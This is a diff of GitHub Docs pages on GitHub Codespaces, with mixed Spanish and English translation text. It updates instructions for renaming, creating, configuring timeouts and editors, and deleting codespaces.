|
||||
|
||||
To rename a codespace, use the `gh codespace edit` subcommand:
|
||||
|
||||
```shell
|
||||
gh codespace edit -c PERMANENT-CODESPACE-NAME -d NEW-DISPLAY-NAME
|
||||
```
|
||||
|
||||
En este ejemplo, reemplaza `PERMANENT-CODESPACE-NAME` por el nombre permanente del codespace cuyo nombre para mostrar quieres cambiar. Reemplaza `NEW-DISPLAY-NAME` por el nombre para mostrar que quieres usar para este codespace.
|
||||
In this example, replace `PERMANENT-CODESPACE-NAME` with the permanent name of the codespace whose display name you want to change. Replace `NEW-DISPLAY-NAME` with the display name you want to use for this codespace.
|
||||
|
||||
Para obtener más información, consulta "[Uso de {% data variables.product.prodname_github_codespaces %} con la {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli#rename-a-codespace)".
|
||||
For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli#rename-a-codespace)."
|
||||
|
||||
{% endcli %}
|
||||
|
||||
{% webui %}
|
||||
|
||||
You can change the display name for your codespace on {% data variables.product.prodname_dotcom_the_website %}.
|
||||
|
||||
{% data reusables.codespaces.your-codespaces-procedure-step %}
|
||||
|
||||
The current display name for each of your codespaces is displayed.
|
||||
|
||||
{% data reusables.codespaces.ellipsis-settings %}
|
||||
1. Click **Rename**.
|
||||
|
||||
1. In the prompt, under "Change display name to..." type your desired display name and click **OK**.
|
||||
|
||||
{% endwebui %}
|
||||
@@ -2,7 +2,6 @@
|
||||
title: Setting your default editor for GitHub Codespaces
|
||||
shortTitle: Set the default editor
|
||||
intro: '{% data reusables.codespaces.about-changing-default-editor %}'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
@@ -14,15 +13,38 @@ topics:
|
||||
type: how_to
|
||||
---
|
||||
|
||||
On the settings page, you can set your editor preference so that any newly created codespaces are opened automatically in either {% data variables.product.prodname_vscode %} for Web or the {% data variables.product.prodname_vscode %} desktop application.
|
||||
On the settings page, you can set your editor preference so that when you create a codespace, or open an existing codespace, it is opened in your choice of:
|
||||
* {% data variables.product.prodname_vscode %} (desktop application)
|
||||
* {% data variables.product.prodname_vscode %} (web client application)
|
||||
* JetBrains Gateway - for opening codespaces in a JetBrains IDE
|
||||
* JupyterLab - the web interface for Project Jupyter
|
||||
|
||||
{% data reusables.codespaces.template-codespaces-default-editor %}
|
||||
|
||||
If you want to use {% data variables.product.prodname_vscode %} as your default editor for {% data variables.product.prodname_github_codespaces %}, you need to install {% data variables.product.prodname_vscode %} and the {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %}. For more information, see the [download page for {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download/) and the [{% data variables.product.prodname_github_codespaces %} extension on the {% data variables.product.prodname_vscode %} marketplace](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces).
|
||||
|
||||
If you want to work on a codespace in a JetBrains IDE you must install the JetBrains Gateway. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)."
|
||||
|
||||
## Setting your default editor
|
||||
|
||||
{% data reusables.user-settings.access_settings %}
|
||||
{% data reusables.user-settings.codespaces-tab %}
|
||||
1. Under "Editor preference", select the option you want.
|
||||
|
||||
|
||||
If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_github_codespaces %} will automatically open in the desktop application when you next create a codespace. You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully.
|
||||
|
||||
|
||||
* {% data reusables.codespaces.application-installed-locally %}<br><br>
|
||||
|
||||
* If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_github_codespaces %} will automatically open in the desktop application when you next create or open a codespace.
|
||||
|
||||
You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully.<br><br>
|
||||
|
||||
* If you choose **JetBrains Gateway**, the Gateway application will automatically open when you next create or open a codespace.
|
||||
|
||||
The first time you open a codespace this way you must give permission to open the application.
|
||||
|
||||
The Gateway application will open and the codespace will then be automatically selected. You can then choose a JetBrains IDE, if you have not previously done so, and click **Connect** to open the codespace in the JetBrains client. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)."
|
||||
|
||||
To connect to a codespace from the Gateway application, you must have an SSH server running on the codespace. {% indented_data_reference reusables.codespaces.ssh-server-installed spaces=5 %}
|
||||
|
||||
* If you choose **JupyterLab**, the JupyterLab application must be installed in the codespaces you open. {% data reusables.codespaces.jupyterlab-in-default-image %}
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
title: Configuración de la región predeterminada para GitHub Codespaces
|
||||
shortTitle: Set the default region
|
||||
intro: 'Pues configurar tu región predeterminada en la página de ajustes de perfil de {% data variables.product.prodname_github_codespaces %} para personalizar en donde se guardan tus datos.'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
@@ -12,12 +11,12 @@ redirect_from:
|
||||
topics:
|
||||
- Codespaces
|
||||
type: how_to
|
||||
ms.openlocfilehash: bf658cadc1237ce0266f3b44f506446054fc3082
|
||||
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
|
||||
ms.openlocfilehash: 4450c284d9012060267c2207c2a774a342669caa
|
||||
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/05/2022
|
||||
ms.locfileid: '147111664'
|
||||
ms.lasthandoff: 11/09/2022
|
||||
ms.locfileid: '148160004'
|
||||
---
|
||||
Puedes seleccionar manualmente la región en la que se crearán tus codespaces, permitiéndote cumplir con los requisitos de cumplimiento y seguridad estrictos. Predeterminadamente, tu región se configura automáticamente con base en tu ubicación.
|
||||
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
title: Setting your timeout period for GitHub Codespaces
|
||||
shortTitle: Set the timeout
|
||||
intro: 'You can set your default timeout for {% data variables.product.prodname_github_codespaces %} in your personal settings page.'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
@@ -13,16 +12,20 @@ redirect_from:
|
||||
- /codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces
|
||||
---
|
||||
|
||||
A codespace will stop running after a period of inactivity. You can specify the length of this timeout period. The updated setting will apply to any newly created codespace.
|
||||
## About the idle timeout
|
||||
|
||||
Some organizations may have a maximum idle timeout policy. If an organization policy sets a maximum timeout which is less than the default timeout you have set, the organization's timeout will be used instead of your setting, and you will be notified of this after the codespace is created. For more information, see "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)."
|
||||
A codespace will stop running after a period of inactivity. By default this period is 30 minutes, but you can specify a longer or shorter default timeout period in your personal settings on {% data variables.product.prodname_dotcom %}. The updated setting will apply to any new codespaces you create, or to existing codespaces the next time you start them. You can also specify a timeout when you use {% data variables.product.prodname_cli %} to create a codespace.
|
||||
|
||||
{% warning %}
|
||||
|
||||
**Warning**: Codespaces are billed per minute. If you are not actively using a codespace but the codespace has not yet timed out, you are still billed for the time that the codespace is running. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing)."
|
||||
**Warning**: Codespaces compute usage is billed for the duration for which a codespace is active. If you're not using a codespace but it remains running, and hasn't yet timed out, you are billed for the total time that the codespace was active, irrespective of whether you were using it. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing)."
|
||||
|
||||
{% endwarning %}
|
||||
|
||||
### Timeout periods for organization-owned repositories
|
||||
|
||||
Organizations can set a maximum idle timeout policy for codespaces created from some or all of their repositories. If an organization policy sets a maximum timeout which is less than the default timeout you have set, the organization's timeout will be used instead of your setting. You will be notified of this after the codespace is created. For more information, see "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)."
|
||||
|
||||
{% webui %}
|
||||
|
||||
## Setting your default timeout period
|
||||
|
||||
@@ -1,84 +0,0 @@
|
||||
---
|
||||
title: Codespaces lifecycle
|
||||
intro: 'You can develop in a {% data variables.product.prodname_github_codespaces %} environment and maintain your data throughout the entire codespace lifecycle.'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
type: overview
|
||||
topics:
|
||||
- Codespaces
|
||||
- Developer
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
---
|
||||
|
||||
## About the lifecycle of a codespace
|
||||
|
||||
The lifecycle of a codespace begins when you create a codespace and ends when you delete it. You can disconnect and reconnect to an active codespace without affecting its running processes. You may stop and restart a codespace without losing changes that you have made to your project.
|
||||
|
||||
## Creating a codespace
|
||||
|
||||
When you want to work on a project, you can choose to create a new codespace or open an existing codespace. You might want to create a new codespace from a branch of your project each time you develop in {% data variables.product.prodname_github_codespaces %} or keep a long-running codespace for a feature. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."
|
||||
|
||||
{% data reusables.codespaces.max-number-codespaces %} Similarly, if you reach the maximum number of active codespaces and you try to start another, you are prompted to stop one of your active codespaces.
|
||||
|
||||
If you choose to create a new codespace each time you work on a project, you should regularly push your changes so that any new commits are on {% data variables.product.prodname_dotcom %}. If you choose to use a long-running codespace for your project, you should pull from your repository's default branch each time you start working in your codespace so that your environment has the latest commits. This workflow is very similar to if you were working with a project on your local machine.
|
||||
|
||||
{% data reusables.codespaces.prebuilds-crossreference %}
|
||||
|
||||
## Saving changes in a codespace
|
||||
|
||||
When you connect to a codespace through the web, auto-save is enabled automatically for the web editor and configured to save changes after a delay. When you connect to a codespace through {% data variables.product.prodname_vscode %} running on your desktop, you must enable auto-save. For more information, see [Save/Auto Save](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save) in the {% data variables.product.prodname_vscode %} documentation.
|
||||
|
||||
If you want to save your changes in the git repository on the codespace's file system, commit them and push them to a remote branch.
|
||||
|
||||
If you have unsaved changes, your editor will prompt you to save them before exiting.
|
||||
|
||||
## Codespaces timeouts
|
||||
|
||||
If you leave your codespace running without interaction, or if you exit your codespace without explicitly stopping it, the codespace will timeout after a period of inactivity and stop running. By default, a codespace will timeout after 30 minutes of inactivity, but you can customize the duration of the timeout period for new codespaces that you create. For more information about setting the default timeout period for your codespaces, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)." For more information about stopping a codespace, see "[Stopping a codespace](#stopping-a-codespace)."
|
||||
|
||||
When a codespace times out, your data is preserved from the last time your changes were saved. For more information, see "[Saving changes in a codespace](#saving-changes-in-a-codespace)."
|
||||
|
||||
## Rebuilding a codespace
|
||||
|
||||
You can rebuild your codespace to restore a clean state as if you had created a new codespace. For most uses, you can create a new codespace as an alternative to rebuilding a codespace. You are most likely to rebuild a codespace to implement changes to your dev container. When you rebuild a codespace, any Docker containers, images, volumes, and caches are cleaned, then the codespace is rebuilt.
|
||||
|
||||
If you need any of this data to persist over a rebuild, you can create, at the desired location in the container, a symbolic link (symlink) to the persistent directory. For example, in your `.devcontainer` directory, you can create a `config` directory that will be preserved across a rebuild. You can then symlink the `config` directory and its contents as a `postCreateCommand` in your `devcontainer.json` file.
|
||||
|
||||
```json
|
||||
{
|
||||
"image": "mcr.microsoft.com/vscode/devcontainers/base:alpine",
|
||||
"postCreateCommand": ".devcontainer/postCreate.sh"
|
||||
}
|
||||
```
|
||||
|
||||
In the example `postCreate.sh` file below, the contents of the `config` directory are symbolically linked to the home directory.
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ln -sf $PWD/.devcontainer/config $HOME/config && set +x
|
||||
```
|
||||
|
||||
For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace)."
|
||||
|
||||
## Stopping a codespace
|
||||
|
||||
{% data reusables.codespaces.stopping-a-codespace %} For more information, see "[Stopping and starting a codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)."
|
||||
|
||||
## Deleting a codespace
|
||||
|
||||
You can create a codespace for a particular task and then safely delete the codespace after you push your changes to a remote branch.
|
||||
|
||||
If you try to delete a codespace with unpushed git commits, your editor will notify you that you have changes that have not been pushed to a remote branch. You can push any desired changes and then delete your codespace, or continue to delete your codespace and any uncommitted changes. You can also export your code to a new branch without creating a new codespace. For more information, see "[Exporting changes to a branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)."
|
||||
|
||||
Codespaces that have been stopped and remain inactive for a specified period of time will be deleted automatically. By default, inactive codespaces are deleted after 30 days, but you can customize your codespace retention period. For more information, see "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)."
|
||||
|
||||
If you create a codespace, it will continue to accrue storage charges until it is deleted, irrespective of whether it is active or stopped. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-storage-usage)." Deleting a codespace does not reduce the current billable amount for {% data variables.product.prodname_github_codespaces %}, which accumulates during each monthly billing cycle. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)."
|
||||
|
||||
For more information on deleting a codespace, see "[Deleting a codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)."
|
||||
|
||||
## Losing the connection while using Codespaces
|
||||
|
||||
{% data variables.product.prodname_github_codespaces %} is a cloud-based development environment and requires an internet connection. If you lose connection to the internet while working in a codespace, you will not be able to access your codespace. However, any uncommitted changes will be saved. When you have access to an internet connection again, you can connect to your codespace in the exact same state that it was left in. If you have an unstable internet connection, you should commit and push your changes often.
|
||||
|
||||
If you know that you will often be working offline, you can use your `devcontainer.json` file with the ["Dev Containers" extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) for {% data variables.product.prodname_vscode_shortname %} to build and attach to a local development container for your repository. For more information, see [Developing inside a container](https://code.visualstudio.com/docs/remote/containers) in the {% data variables.product.prodname_vscode %} documentation.
|
||||
@@ -1,7 +1,6 @@
|
||||
---
|
||||
title: Connecting to a private network
|
||||
intro: 'You can connect {% data variables.product.prodname_github_codespaces %} to resources on a private network, including package registries, license servers, and on-premises databases.'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
@@ -39,7 +38,7 @@ The {% data variables.product.prodname_cli %} extension allows you to create a b
|
||||
|
||||
As an alternative to the {% data variables.product.prodname_cli %} extension, you can use a VPN to access resources behind a private network from within your codespace.
|
||||
|
||||
We recommend VPN tools like [OpenVPN](https://openvpn.net/) to access resources on a private network. For more information, see "[Using the OpenVPN client from GitHub Codespaces](https://github.com/codespaces-contrib/codespaces-openvpn)."
|
||||
We recommend VPN tools like [OpenVPN](https://openvpn.net/) to access resources on a private network. For more information, see "[Using the OpenVPN client from {% data variables.product.prodname_github_codespaces %}](https://github.com/codespaces-contrib/codespaces-openvpn)."
|
||||
|
||||
There are also a number of third party solutions that, while not explicitly endorsed by {% data variables.product.prodname_dotcom %}, have provided examples of how to integrate with {% data variables.product.prodname_github_codespaces %}.
|
||||
|
||||
|
||||
@@ -1,156 +0,0 @@
|
||||
---
|
||||
title: Creating a codespace
|
||||
intro: You can create a codespace for a branch in a repository to develop online.
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
redirect_from:
|
||||
- /github/developing-online-with-github-codespaces/creating-a-codespace
|
||||
- /github/developing-online-with-codespaces/creating-a-codespace
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Codespaces
|
||||
- Fundamentals
|
||||
- Developer
|
||||
shortTitle: Create a codespace
|
||||
---
|
||||
|
||||
## About codespace creation
|
||||
|
||||
You can create a codespace on {% data variables.product.prodname_dotcom_the_website %}, in {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. {% data reusables.codespaces.codespaces-are-personal %}
|
||||
|
||||
Codespaces are associated with a specific branch of a repository and the repository cannot be empty. You can create more than one codespace per repository or even per branch.
|
||||
|
||||
When you create a codespace, a number of steps happen to create and connect you to your development environment:
|
||||
|
||||
- Step 1: VM and storage are assigned to your codespace.
|
||||
- Step 2: Container is created and your repository is cloned.
|
||||
- Step 3: You can connect to the codespace.
|
||||
- Step 4: Codespace continues with post-creation setup.
|
||||
|
||||
For more information on what happens when you create a codespace, see "[Deep Dive](/codespaces/getting-started/deep-dive)."
|
||||
|
||||
For more information on the lifecycle of a codespace, see "[Codespaces lifecycle](/codespaces/developing-in-codespaces/codespaces-lifecycle)."
|
||||
|
||||
If you want to use Git hooks for your codespace, then you should set up hooks using the [`devcontainer.json` lifecycle scripts](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts), such as `postCreateCommand`, during step 4. Since your codespace container is created after the repository is cloned, any [git template directory](https://git-scm.com/docs/git-init#_template_directory) configured in the container image will not apply to your codespace. Hooks must instead be installed after the codespace is created. For more information on using `postCreateCommand`, see the [`devcontainer.json` reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) in the {% data variables.product.prodname_vscode_shortname %} documentation.
|
||||
|
||||
{% data reusables.codespaces.use-visual-studio-features %}
|
||||
|
||||
{% data reusables.codespaces.you-can-see-all-your-codespaces %}
|
||||
|
||||
{% data reusables.codespaces.prebuilds-crossreference %}
|
||||
|
||||
## Access to {% data variables.product.prodname_github_codespaces %}
|
||||
|
||||
When you have access to {% data variables.product.prodname_github_codespaces %}, you'll see a "Codespaces" tab within the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu when you view a repository.
|
||||
|
||||
You'll have access to {% data variables.product.prodname_github_codespaces %} under the following conditions:
|
||||
|
||||
Either all of these are true:
|
||||
* You are a member, or outside collaborator, of an organization that has enabled {% data variables.product.prodname_codespaces %} and set a spending limit.
|
||||
* The organization owner has allowed you to create codespaces at the organization's expense.
|
||||
* The repository for which you want to create a codespace is owned by this organization.
|
||||
|
||||
Or both of these are true:
|
||||
* You are participating in the beta of {% data variables.product.prodname_codespaces %} for individual users.
|
||||
* Either you own the repository for which you want to create a codespace, or it is owned by an organization of which you are either a member or an outside collaborator.
|
||||
|
||||
Before {% data variables.product.prodname_codespaces %} can be used in an organization, an owner or billing manager must have set a spending limit. For more information, see "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces#about-spending-limits-for-codespaces)."
|
||||
|
||||
Organization owners can specify who can create and use codespaces at the organization's expense. Organization owners can also prevent any codespace usage being charged to the organization. For more information, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization)."
|
||||
|
||||
## Creating a codespace
|
||||
|
||||
{% webui %}
|
||||
|
||||
{% data reusables.repositories.navigate-to-repo %}
|
||||
1. Under the repository name, use the "Branch" drop-down menu, and select the branch you want to create a codespace for.
|
||||
|
||||
|
||||
|
||||
1. Click the **{% octicon "code" aria-label="The code icon" %} Code** button, then click the **Codespaces** tab.
|
||||
|
||||
|
||||
|
||||
If codespaces for this repository are billable, a message is displayed below the **Create codespace on BRANCH** button telling you who will pay for the codespace.
|
||||
|
||||
1. Create your codespace, either using the default options, or after configuring advanced options:
|
||||
|
||||
* **Use the default options**
|
||||
|
||||
To create a codespace using the default options, click **Create codespace on BRANCH**.
|
||||
|
||||
Optionally, before clicking **Create codespace on BRANCH**, you can click the down arrow at the side of the button to see what machine type will be used for your codespace.
|
||||
|
||||
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note**: The machine type with the lowest resources that are valid for the repository is selected by default.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
* **Configure options**
|
||||
|
||||
To configure advanced options for your codespace, such as a different machine type or a particular `devcontainer.json` file:
|
||||
|
||||
1. Click the down arrow at the side of the **Create codespace on BRANCH** button, then click **Configure and create codespace**.
|
||||
1. Click the **Configure and create codespace** button.
|
||||
1. On the options page for your codespace, choose your preferred options from the drop-down menus.
|
||||
|
||||
|
||||
|
||||
{% note %}
|
||||
|
||||
**Notes**
|
||||
|
||||
* You can bookmark the options page to give you a quick way to create a codespace for this repository and branch.
|
||||
* The [https://github.com/codespaces/new](https://github.com/codespaces/new) page provides a quick way to create a codespace for any repository and branch. You can get to this page quickly by typing `codespace.new` into your browser's address bar.
|
||||
* For more information about the `devcontainer.json` file, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#devcontainerjson)."
|
||||
* For more information about machine types, see "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types)."
|
||||
* {% data reusables.codespaces.codespaces-machine-type-availability %}
|
||||
|
||||
{% endnote %}
|
||||
|
||||
1. Click **Start session**.
|
||||
|
||||
{% endwebui %}
|
||||
|
||||
{% vscode %}
|
||||
|
||||
{% data reusables.codespaces.creating-a-codespace-in-vscode %}
|
||||
|
||||
{% endvscode %}
|
||||
|
||||
{% cli %}
|
||||
|
||||
{% data reusables.cli.cli-learn-more %}
|
||||
|
||||
To create a new codespace, use the `gh codespace create` subcommand.
|
||||
|
||||
```shell
|
||||
gh codespace create
|
||||
```
|
||||
|
||||
You are prompted to choose a repository. If codespaces for this repository are billable, a message is displayed telling you who will pay for the codespace. You are then prompted to choose a branch, a dev container configuration file (if more than one is available), and a machine type (if more than one is available).
|
||||
|
||||
Alternatively, you can use flags to specify some or all of the options:
|
||||
|
||||
```shell
|
||||
gh codespace create -r OWNER/REPO -b BRANCH --devcontainer-path PATH -m MACHINE-TYPE
|
||||
```
|
||||
|
||||
In this example, replace `owner/repo` with the repository identifier. Replace `branch` with the name of the branch, or the full SHA hash of the commit, that you want to be initially checked out in the codespace. If you use the `-r` flag without the `b` flag, the codespace is created from the default branch.
|
||||
|
||||
Replace `path` with the path to the dev container configuration file you want to use for the new codespace. If you omit this flag and more than one dev container file is available you will be prompted to choose one from a list. For more information about the dev container configuration file, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)."
|
||||
|
||||
Replace `machine-type` with a valid identifier for an available machine type. Identifiers are strings such as: `basicLinux32gb` and `standardLinux32gb`. The type of machines that are available depends on the repository, your personal account, and your location. If you enter an invalid or unavailable machine type, the available types are shown in the error message. If you omit this flag and more than one machine type is available you will be prompted to choose one from a list.
|
||||
|
||||
For full details of the options for this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_create).
|
||||
|
||||
{% endcli %}
|
||||
|
||||
## Further reading
|
||||
- "[Opening an existing codespace](/codespaces/developing-in-codespaces/opening-an-existing-codespace)"
|
||||
- "[Adding an 'Open in GitHub Codespaces' badge](/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge)"
|
||||
@@ -1,7 +1,6 @@
|
||||
---
|
||||
title: Variables de ambiente predeterminadas para tu codespace
|
||||
shortTitle: Default environment variables
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
intro: '{% data variables.product.prodname_dotcom %} configura variables de ambiente predeterminadas para cada codespace.'
|
||||
versions:
|
||||
fpt: '*'
|
||||
@@ -11,12 +10,12 @@ topics:
|
||||
- Codespaces
|
||||
- Fundamentals
|
||||
- Developer
|
||||
ms.openlocfilehash: e9034fb566c8245fff6d610ff456084dc9818f0b
|
||||
ms.sourcegitcommit: 43a959b8faf78d9c5b3deadffa079d24cd11650b
|
||||
ms.openlocfilehash: 1a57445bbffb3e1112299414e29796b716f2d801
|
||||
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 11/04/2022
|
||||
ms.locfileid: '148134771'
|
||||
ms.lasthandoff: 11/09/2022
|
||||
ms.locfileid: '148158929'
|
||||
---
|
||||
## Acerca de las variables de ambiente predeterminadas
|
||||
|
||||
@@ -32,7 +31,7 @@ ms.locfileid: '148134771'
|
||||
|
||||
| Variable de entorno | Descripción |
|
||||
| ---------------------|------------ |
|
||||
| `CODESPACE_NAME` | Nombre del codespace, por ejemplo, `monalisa-github-hello-world-2f2fsdf2e` |
|
||||
| `CODESPACE_NAME` | Nombre del codespace, por ejemplo, `octocat-literate-space-parakeet-mld5` |
|
||||
| `CODESPACES` | Siempre `true` en un codespace |
|
||||
| `GIT_COMMITTER_EMAIL` | Correo electrónico del campo de "creador" de las confirmaciones de `git` futuras. |
|
||||
| `GIT_COMMITTER_NAME` | Nombre del campo de "responsable de la confirmación" de las confirmaciones de `git` futuras. |
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
---
|
||||
title: Borrar un codespace
|
||||
intro: Puedes borrar un codespace que ya no necesites.
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
title: Deleting a codespace
|
||||
intro: You can delete a codespace you no longer need.
|
||||
redirect_from:
|
||||
- /github/developing-online-with-github-codespaces/deleting-a-codespace
|
||||
- /github/developing-online-with-codespaces/deleting-a-codespace
|
||||
@@ -14,25 +13,28 @@ topics:
|
||||
- Fundamentals
|
||||
- Developer
|
||||
shortTitle: Delete a codespace
|
||||
ms.openlocfilehash: c3f9577642c0b3016f8145da9f65cf9ccb457d5e
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148109877'
|
||||
---
|
||||
Hay costos asociados al almacenamiento de codespaces. Por lo tanto, debes eliminar los codespaces que ya no necesites. Para más información, consulta "[Acerca de la facturación de GitHub Codespaces](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)".
|
||||
|
||||
You can delete a codespace in a variety of ways: in the terminal by using {% data variables.product.prodname_cli %}, in {% data variables.product.prodname_vscode %}, or in your web browser. Use the tabs in this article to display instructions for each of these ways of deleting a codespace.
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note**: You can't delete a codespace from within the JetBrains Gateway, or the JetBrains client application, or from within JupyterLab.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
There are costs associated with storing codespaces. You should therefore delete any codespaces you no longer need. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
|
||||
|
||||
{% data reusables.codespaces.max-number-codespaces %}
|
||||
|
||||
## Borrar un codespace
|
||||
## Deleting a codespace
|
||||
|
||||
{% webui %}
|
||||
|
||||
{% data reusables.codespaces.your-codespaces-procedure-step %}
|
||||
1. A la derecha del codespace que quiera eliminar, haga clic en {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} y después en **{% octicon "trash" aria-label="The trash icon" %} Eliminar**
|
||||
1. To the right of the codespace you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **{% octicon "trash" aria-label="The trash icon" %} Delete**
|
||||
|
||||
|
||||
|
||||
|
||||
{% endwebui %}
|
||||
|
||||
@@ -47,86 +49,86 @@ Hay costos asociados al almacenamiento de codespaces. Por lo tanto, debes elimin
|
||||
|
||||
{% data reusables.cli.cli-learn-more %}
|
||||
|
||||
Para eliminar un codespace, use el subcomando `gh codespace delete` y, después, elija un codespace en la lista que se muestra.
|
||||
To delete a codespace use the `gh codespace delete` subcommand and then choose a codespace from the list that's displayed.
|
||||
|
||||
```shell
|
||||
gh codespace delete
|
||||
```
|
||||
|
||||
Si tienes cambios sin guardar, se te pedirá confirmar el borrado. Puede usar la marca `--force` para forzar la eliminación y evitar este aviso.
|
||||
If you have unsaved changes, you'll be prompted to confirm deletion. You can use the `--force` flag to force deletion, avoiding this prompt.
|
||||
|
||||
Para más información sobre este comando, vea [el manual de {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_delete).
|
||||
For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_delete).
|
||||
|
||||
{% endcli %}
|
||||
|
||||
## Eliminación masiva de codespaces
|
||||
## Bulk deleting codespaces
|
||||
|
||||
{% webui %}
|
||||
|
||||
Puedes usar {% data variables.product.prodname_cli %} para eliminar varios o todos los codespaces con un solo comando. Para obtener más información, haz clic en la pestaña **{% data variables.product.prodname_cli %}** que se encuentra cerca de la parte superior de esta página.
|
||||
You can use {% data variables.product.prodname_cli %} to delete several or all of your codespaces with a single command. For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page.
|
||||
|
||||
{% endwebui %}
|
||||
|
||||
{% vscode %}
|
||||
|
||||
Puedes usar {% data variables.product.prodname_cli %} para eliminar varios codespaces con un solo comando, o todos ellos. Para obtener más información, haz clic en la pestaña **{% data variables.product.prodname_cli %}** que se encuentra cerca de la parte superior de esta página.
|
||||
You can use {% data variables.product.prodname_cli %} to delete several or all of your codespaces with a single command. For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page.
|
||||
|
||||
{% endvscode %}
|
||||
|
||||
|
||||
